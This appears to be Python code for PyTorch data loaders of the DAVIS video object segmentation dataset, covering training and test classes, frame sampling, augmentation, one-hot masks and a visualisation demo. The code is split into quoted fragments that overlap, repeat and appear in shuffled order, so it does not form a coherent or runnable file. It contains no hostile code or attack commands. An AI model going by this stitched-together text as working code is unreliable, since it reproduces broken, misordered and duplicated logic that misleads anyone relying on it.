"obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1 else: mask, _ = self.to_onehot(mask,",
"NotImplementedError() while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if not self.crop: frames",
"= DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True)",
"else: frames = torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400,",
"data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask =",
"ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) # plt.imsave('test{}.png'.format(k), convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1,",
"img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info",
"import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root path, str -",
"line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter",
"DAVIS_Test(data.Dataset): r''' - root: data root path, str - output_size: output size of",
"= list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError()",
"clip for training, int - max_obj_n: maximum number of objects in a image",
"for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0],",
"idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root,",
"data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3]",
"self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask) mask = np.array(mask, np.uint8) if",
"ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3,",
"mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2,",
"else: mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info",
"first_mask = load_image_in_PIL(mask_list[0], 'P') original_w, original_h = first_mask.size if self.output_size: out_h, out_w =",
"__len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages',",
"0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list)",
"'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name':",
"_ = self.to_onehot(first_mask_np) masks[0] = mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i],",
"lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize",
"for training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3,",
"DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj",
"img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets',",
"= os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png')))",
"as plt from PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset):",
"masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img",
"torchvision.transforms as TF import datasets.transform as mytrans from utils.system import load_image_in_PIL, gct import",
"_ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info = {",
"= mask info = { 'name': video_name, 'idx_list': idx_list } return frames, masks,",
"'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg')))",
"max_obj_n: maximum number of objects in a image for training, int ''' def",
"TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False)",
"self.color_jitter = TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05),",
"print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0] frame, mask",
"video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n",
"last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif",
"frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in range(frame.shape[0]): ax =",
"for line in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\":",
"mytrans from utils.system import load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL import",
"1 obj_n = first_mask_np.max() + 1 video_len = len(img_list) frames = torch.zeros((video_len, 3,",
"np from glob import glob import random import torch from torch.utils import data",
"first_mask_np.max() + 1 video_len = len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float)",
"in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor()",
"/ original_h * out_h) # h = self.out_h # w = self.out_w else:",
"= max_skip def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name =",
"frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i",
"range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n",
"original_h = first_mask.size if self.output_size: out_h, out_w = self.output_size if original_h < out_h:",
"masks, obj_n, info def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP,",
"i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2,",
"Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n",
"frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else:",
"list() with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name = line.strip()",
"shuffle=True) def increase_max_skip(self): self.max_skip = min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip",
"self.max_skip = max_skip self.increment = increment self.smaples = samples self.sample_choice = choice self.crop",
"from glob import glob import random import torch from torch.utils import data import",
"shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize =",
"shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame,",
"for training, int - max_obj_n: maximum number of objects in a image for",
"ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax = fig.add_subplot(2, 3, i*6+4+k)",
"clip_n: number of video clip for training, int - max_obj_n: maximum number of",
"return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240,",
"idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root,",
"if self.crop: img, mask = self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask)",
"mask info = { 'name': video_name, 'idx_list': idx_list } return frames, masks, obj_n,",
"self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name",
"__len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir =",
"first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np > 1] = 1 obj_n =",
"(cfg.DATA.VAL.DATASET_NAME == 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds",
"> 0: img = self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop: img,",
"else: raise NotImplementedError() while len(idx_list) < self.clip_n: # short video idx_list.append(idx_list[-1]) if not",
"if i == 0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) + 1",
"len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name)",
"out_h w = int(original_w / original_h * out_h) # h = self.out_h #",
"'__main__': ds = DAVIS_Train('/public/datasets/DAVIS', output_size=(240, 427), max_obj_n=6) trainloader = data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1,",
"first_mask.size if self.output_size: out_h, out_w = self.output_size if original_h < out_h: h, w",
"'*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1 while obj_n",
"h = out_h w = int(original_w / original_h * out_h) # h =",
"= 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order',",
"def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir",
"== 'DAVIS16') return DAVIS_Test( root=cfg.DATA.DAVIS_ROOT, single_obj=single_obj ) if __name__ == '__main__': ds =",
"data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0],",
"len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h,",
"PIL import Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root:",
"for line in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor",
"= list() last_sample = -1 sample_n = min(self.clip_n, img_n) for i in range(sample_n):",
"self.max_skip = max_skip def __len__(self): return len(self.dataset_list) * self.smaples def __getitem__(self, idx): video_name",
"of image and mask, tuple - imset - max_obj_n: maximum number of objects",
"number of objects in a image for training, int ''' def __init__(self, root,",
"np.uint8) if i == 0: mask, obj_list = self.to_onehot(mask) obj_n = len(obj_list) +",
"def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return len(self.dataset_list) * self.smaples def",
"h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info = { 'name': video_name, 'num_frames': video_len, 'original_size':",
"original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if self.single_obj: first_mask_np[first_mask_np",
"0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip =",
"mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize",
"root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root",
"= crop dataset_path = os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r')",
"Image from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root",
"= sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1",
"min(self.max_skip + self.increment, self.MAX_TRAINING_SKIP) def set_max_skip(self, max_skip): self.max_skip = max_skip def __len__(self): return",
"image for training, int ''' MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt',",
"if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1,",
"if not self.crop: frames = torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n,",
"os.path.join(root, 'ImageSets', imset) self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines: for line",
"DAVIS_Train(data.Dataset): r''' - root: data root path, str - output_size: output size of",
"self.out_h # w = self.out_w else: h, w = original_h, original_w first_mask =",
"masks = torch.zeros((1, obj_n, h, w), dtype=torch.float) mask, _ = self.to_onehot(first_mask_np) masks[0] =",
"self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224,",
"import numpy as np from glob import glob import random import torch from",
"TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=True) def increase_max_skip(self): self.max_skip",
"= torch.zeros((self.clip_n, 3, 400, 400), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, 400, 400), dtype=torch.float)",
"= self.random_resize_crop(img, mask) else: img, mask = self.resize(img, mask) mask = np.array(mask, np.uint8)",
"mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def __getitem__(self, idx): video_name = self.dataset_list[idx] img_dir",
"= next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0]) frame, mask, num_obj = data[0][0], data[1][0], data[2][0]",
"'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) img_n =",
"self.output_size if original_h < out_h: h, w = original_h, original_w else: h =",
"frames, masks, obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data root path, str",
"= self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info = { 'name':",
"choice='order', crop=False): self.root = root self.clip_n = clip_n self.output_size = output_size self.max_obj_n =",
"= 1 while obj_n == 1: if self.sample_choice == 'order': idx_list = list()",
"'name': video_name, 'num_frames': video_len, 'original_size': (original_h, original_w) } return frames, masks, obj_n, info",
"train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE,",
"self.sample_choice == 'order': idx_list = list() last_sample = -1 sample_n = min(self.clip_n, img_n)",
"(0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor() self.normalize =",
"else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list",
"output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME",
"scale=(0.95, 1.05), shear=10) if self.crop: self.random_resize_crop = mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else:",
"frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n, h, w),",
"= original_h, original_w first_mask = first_mask.resize((w, h), Image.NEAREST) first_mask_np = np.array(first_mask, np.uint8) if",
"max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root = root self.clip_n = clip_n self.output_size =",
"sample_n = min(self.clip_n, img_n) for i in range(sample_n): if i == 0: last_sample",
"fig.add_subplot(2, 3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01)",
"TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return",
"batch_size=1, shuffle=True, num_workers=1, collate_fn=multibatch_collate_fn, drop_last=True) i, data = next(enumerate(trainloader)) print(data[0].shape, data[1].shape, data[2], data[3][0])",
"= len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks = torch.zeros((1, obj_n,",
"'P') if i > 0: img = self.color_jitter(img) img, mask = self.random_affine(img, mask)",
"w = self.out_w else: h, w = original_h, original_w first_mask = first_mask.resize((w, h),",
"obj_n, info class DAVIS_Test(data.Dataset): r''' - root: data root path, str - output_size:",
"glob import random import torch from torch.utils import data import torchvision.transforms as TF",
"in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.')",
"len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229,",
"load_image_in_PIL, gct import matplotlib.pyplot as plt from PIL import Image from datasets.data_utils import",
"= TF.ColorJitter(0.1, 0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10)",
"self.dataset_list = list() with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name",
"list() last_sample = -1 sample_n = min(self.clip_n, img_n) for i in range(sample_n): if",
"line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456,",
"plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2,",
"mask) if self.crop: img, mask = self.random_resize_crop(img, mask) else: img, mask = self.resize(img,",
"self.root = root self.clip_n = clip_n self.output_size = output_size self.max_obj_n = max_obj_n self.max_skip",
"fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k in range(mask.shape[0]): ax",
"range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1, 2, 0)) plt.pause(0.01) for k",
"tuple - imset - clip_n: number of video clip for training, int -",
"MAX_TRAINING_SKIP = 100 def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2,",
"= self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name) mask_dir = os.path.join(self.root, 'Annotations', '480p',",
"img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0], 'P') original_w,",
"= mytrans.RandomResizedCrop(400, (0.8, 1), (0.95, 1.05)) else: self.resize = mytrans.Resize(output_size) self.to_tensor = TF.ToTensor()",
"len(obj_list) + 1 else: mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i]",
"video_len, 'original_size': (original_h, original_w) } return frames, masks, obj_n, info def build_davis(cfg, train=True):",
"build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO,",
"r''' - root: data root path, str - output_size: output size of image",
"img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice == 'random': idx_list = list(range(img_n)) random.shuffle(idx_list) sample_n = min(self.clip_n,",
"} return frames, masks, obj_n, info def build_davis(cfg, train=True): if train: return DAVIS_Train(",
"as lines: for line in lines: dataset_name = line.strip() if len(dataset_name) > 0:",
"image and mask, tuple - imset - clip_n: number of video clip for",
"image for training, int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root",
"number of video clip for training, int - max_obj_n: maximum number of objects",
"obj_n == 1: if self.sample_choice == 'order': idx_list = list() last_sample = -1",
"line in lines: dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) self.to_tensor =",
"1 while obj_n == 1: if self.sample_choice == 'order': idx_list = list() last_sample",
"0: self.dataset_list.append(dataset_name) self.to_tensor = TF.ToTensor() self.normalize = TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])",
"- max_obj_n: maximum number of objects in a image for training, int '''",
"0.1, 0.1, 0.02) self.random_affine = mytrans.RandomAffine(degrees=15, translate=(0.1, 0.1), scale=(0.95, 1.05), shear=10) if self.crop:",
"list() self.output_size = output_size with open(os.path.join(dataset_path), 'r') as lines: for line in lines:",
"random.shuffle(idx_list) sample_n = min(self.clip_n, img_n) idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list)",
"random.choice(range(0, img_n-sample_n+1)) else: last_sample = random.choice( range(last_sample+1, min(last_sample+self.max_skip+1, img_n-sample_n+i+1))) idx_list.append(last_sample) elif self.sample_choice ==",
"= self.color_jitter(img) img, mask = self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img,",
"0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self): return len(self.dataset_list) def",
"self.smaples def __getitem__(self, idx): video_name = self.dataset_list[idx//self.smaples] img_dir = os.path.join(self.root, 'JPEGImages', '480p', video_name)",
"output size of image and mask, tuple - imset - clip_n: number of",
"if self.output_size: out_h, out_w = self.output_size if original_h < out_h: h, w =",
"info def build_davis(cfg, train=True): if train: return DAVIS_Train( root=cfg.DATA.DAVIS_ROOT, output_size=cfg.DATA.SIZE, clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0],",
"torch.utils import data import torchvision.transforms as TF import datasets.transform as mytrans from utils.system",
"def __init__(self, root, output_size, imset='2017/train.txt', clip_n=3, max_obj_n=7, max_skip=5, increment=5, samples=2, choice='order', crop=False): self.root",
"single_obj=False): self.root = root self.single_obj = single_obj dataset_path = os.path.join(root, 'ImageSets', img_set) self.dataset_list",
"range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img))",
"sorted(glob(os.path.join(mask_dir, '*.png'))) img_n = len(img_list) obj_n = 1 while obj_n == 1: if",
"= list() with open(os.path.join(dataset_path), 'r') as lines: for line in lines: dataset_name =",
"idx_list = idx_list[:sample_n] else: raise NotImplementedError() while len(idx_list) < self.clip_n: # short video",
"masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames = torch.zeros((self.clip_n, 3, 400, 400),",
"masks[0] = mask[:obj_n] for i in range(video_len): img = load_image_in_PIL(img_list[i], 'RGB') img =",
"'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i > 0: img = self.color_jitter(img) img,",
"= TF.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) self.to_onehot = mytrans.ToOnehot(max_obj_n, shuffle=False) def __len__(self):",
"= first_mask_np.max() + 1 video_len = len(img_list) frames = torch.zeros((video_len, 3, h, w),",
"str - output_size: output size of image and mask, tuple - imset -",
"img_n) for i in range(sample_n): if i == 0: last_sample = random.choice(range(0, img_n-sample_n+1))",
"= samples self.sample_choice = choice self.crop = crop dataset_path = os.path.join(root, 'ImageSets', imset)",
"data[0][0], data[1][0], data[2][0] frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure()",
"= load_image_in_PIL(img_list[i], 'RGB') img = img.resize((w, h), Image.BILINEAR) frames[i] = self.normalize(self.to_tensor(img)) info =",
"mask, _ = self.to_onehot(mask, obj_list) frames[i] = self.normalize(self.to_tensor(img)) masks[i] = mask info =",
"frame, mask = frame[:3], mask[:3] print(torch.max(mask), torch.min(mask)) fig = plt.figure() for j in",
"= max_obj_n self.max_skip = max_skip self.increment = increment self.smaples = samples self.sample_choice =",
"torch.zeros((self.clip_n, 3, *self.output_size), dtype=torch.float) masks = torch.zeros((self.clip_n, self.max_obj_n, *self.output_size), dtype=torch.float) else: frames =",
"in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask = load_image_in_PIL(mask_list[frame_idx], 'P') if i >",
"3, i*6+4+k) ax.axis('off') # ax.imshow(np.array(mask[k, 0], dtype=np.uint8)) ax.imshow(convert_one_hot(np.array(mask[k],dtype=np.uint8).transpose(1, 2, 0), num_obj.item())) plt.pause(0.01) #",
"+ 1 video_len = len(img_list) frames = torch.zeros((video_len, 3, h, w), dtype=torch.float) masks",
"clip_n=cfg.DATA.TRAIN.FRAMES_PER_CLIP, max_obj_n=cfg.DATA.TRAIN.MAX_OBJECTS, max_skip=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[0], increment=cfg.DATA.TRAIN.DAVIS_SKIP_INCREMENT[1], samples=cfg.DATA.TRAIN.SAMPLES_PER_VIDEO, choice=cfg.DATA.TRAIN.SAMPLE_CHOICE, crop=cfg.DATA.TRAIN.CROP ) else: single_obj = (cfg.DATA.VAL.DATASET_NAME ==",
"'480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask = load_image_in_PIL(mask_list[0],",
"maximum number of objects in a image for training, int ''' def __init__(self,",
"os.path.join(self.root, 'Annotations', '480p', video_name) img_list = sorted(glob(os.path.join(img_dir, '*.jpg'))) mask_list = sorted(glob(os.path.join(mask_dir, '*.png'))) first_mask",
"400, 400), dtype=torch.float) for i, frame_idx in enumerate(idx_list): img = load_image_in_PIL(img_list[frame_idx], 'RGB') mask",
"int ''' def __init__(self, root, output_size=None, img_set='2017/val.txt', max_obj_n=11, single_obj=False): self.root = root self.single_obj",
"mask = self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img, mask) else: img,",
"if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip = mytrans.RandomHorizontalFlip(0.3) self.color_jitter =",
"from datasets.data_utils import multibatch_collate_fn, convert_one_hot class DAVIS_Train(data.Dataset): r''' - root: data root path,",
"= plt.figure() for j in range(frame.shape[0]): ax = fig.add_subplot(2, 3, i*6+j+1) ax.axis('off') ax.imshow(frame[j].numpy().transpose(1,",
"(original_h, original_w) } return frames, masks, obj_n, info def build_davis(cfg, train=True): if train:",
"= self.random_affine(img, mask) if self.crop: img, mask = self.random_resize_crop(img, mask) else: img, mask",
"path, str - output_size: output size of image and mask, tuple - imset",
"info = { 'name': video_name, 'idx_list': idx_list } return frames, masks, obj_n, info",
"dataset_name = line.strip() if len(dataset_name) > 0: self.dataset_list.append(dataset_name) print(f'\\t\"DAVIS17\": {len(self.dataset_list)} videos.') self.random_horizontal_flip =",
